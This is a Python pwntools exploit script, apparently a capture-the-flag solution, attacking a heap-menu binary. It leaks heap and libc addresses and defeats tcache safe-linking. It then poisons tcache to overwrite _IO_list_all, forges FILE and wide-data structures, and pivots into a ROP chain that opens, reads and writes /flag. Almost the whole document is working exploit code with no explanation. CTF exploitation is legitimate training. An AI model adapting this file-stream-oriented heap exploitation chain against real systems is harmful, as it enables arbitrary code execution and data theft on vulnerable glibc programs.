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| from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
else:
p = remote('10.213.13.228', 17846)
elf = ELF('./pwn')
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc.so.6')
def add(index,size,data):
rl(b">>> ")
sl(b'1')
rl(b"please input chunk_idx: ")
sl(str(index))
rl(b"Enter chunk size: ")
sl(str(size))
rl(b"Enter chunk data: ")
s(data)
def show(index):
rl(b">>> ")
sl(b'3')
rl(b"Enter chunk id: ")
sl(str(index))
def delete(index):
rl(b">>> ")
sl(b'2')
rl(b"Enter chunk id: ")
sl(str(index))
def exit():
rl(b">>> ")
sl(b'4')
for i in range(8):
add(i,0x10,'a')
for i in range(9):
add(i,0x60,'aa')
for i in range(6):
add(i,0x70,'a')
add(0,0x40,'a')
add(0,0x10,'a')
delete(0)
add(1,0x10,p64(0x30)+p64(1))
show(0)
r(16)
heap_leak = uu64()
lg("heap_leak",heap_leak)
heap_key = (heap_leak >> 12)
lg("heap_key",heap_key)
heap_base = heap_key << 12
lg("heap_base",heap_base)
for i in range(10):
add(i,0x80,'a')
add(8,0x10,'a')
for i in range(8):
delete(i)
for i in range(7):
add(i,0x80,'a')
delete(8)
add(10,0x18,p64(0x20)+p64(0x1)+p64(heap_base+0xc70))
show(8)
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x21ace0
lg("libc_base",libc_base)
IO_list_all = libc_base + libc.sym['_IO_list_all']
lg("_IO_list_all",IO_list_all)
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
lg("stdout",stdout)
IO_wfile_jumps = libc_base + 0x2170c0
lg("IO_wfile_jumps",IO_wfile_jumps)
setcontext = libc_base+libc.sym['setcontext']
lg("setcontext",setcontext)
ret = 0x0000000000029139 + libc_base
pop_rdi = 0x000000000002a3e5 + libc_base
pop_rsi = 0x000000000002be51 + libc_base
pop_rdx_r12 = 0x000000000011f2e7 + libc_base
pop_rbp = 0x000000000002a2e0 + libc_base
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
leave_ret = libc_base + 0x000000000004da83
magic_gadget = libc_base + 0x16a06a
lg("magic_gadget",magic_gadget)
IO_jump_t = libc_base + 0x2170c0
lg("IO_jump_t",IO_jump_t)
IO_list_all = libc_base + libc.sym['_IO_list_all']
lg("IO_list_all",IO_list_all)
add(0,0x70,'a')
for i in range(10):
add(i,0x40,'a')
add(10,0x10,'a')
delete(10)
add(11,0x18,p64(0x30)+p64(1)+p64(heap_base+0x11d0))
for i in range(9):
delete(i)
delete(10)
for i in range(7):
add(i,0x40,'a')
for i in range(7):
add(i,0x80,'a')
for i in range(8):
delete(i)
'''
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]
'''
orw1 = b'/flag\x00\x00\x00'
orw1 += p64(pop_rdx_r12) + p64(heap_base+0x1720) + p64(heap_base+0x1520) + p64(pop_rdi) + p64(heap_base+0x1720) + p64(pop_rsi) + p64(0) + p64(open) + p64(pop_rbp) + p64(heap_base+0x1458) + p64(leave_ret)
add(0,0x80,orw1)
fake_file = p64(0)
fake_file += p64(0)*4 + p64(1)
fake_file += p64(0) + p64(leave_ret) + p64(heap_base+0x1520) + p64(heap_base+0x1720) + p64(heap_base+0x1728)
fake_file = fake_file.ljust(0x68,b'\x00')
fake_file += p64(stdout)
fake_file = fake_file.ljust(0x80,b'\x00')
fake_file = bytes(fake_file)
fake_wide2 = p64(0)*6 + p64(heap_base+0x1640) + p64(magic_gadget)
add(1,0x80,fake_wide2)
add(2,0x80,p64(0)*5+p64(IO_jump_t)+p64(0)*10)
add(3,0x80,fake_file)
add(4,0x40,p64(IO_list_all^((heap_base+0x1100) >> 12)))
add(5,0x40,'a')
add(6,0x40,'a')
add(7,0x40,p64(heap_base+0x1510))
orw2 = p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x1000) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(read)
orw2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base+0x1000) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(write)
add(8,0x80,orw2)
exit()
inter()
|
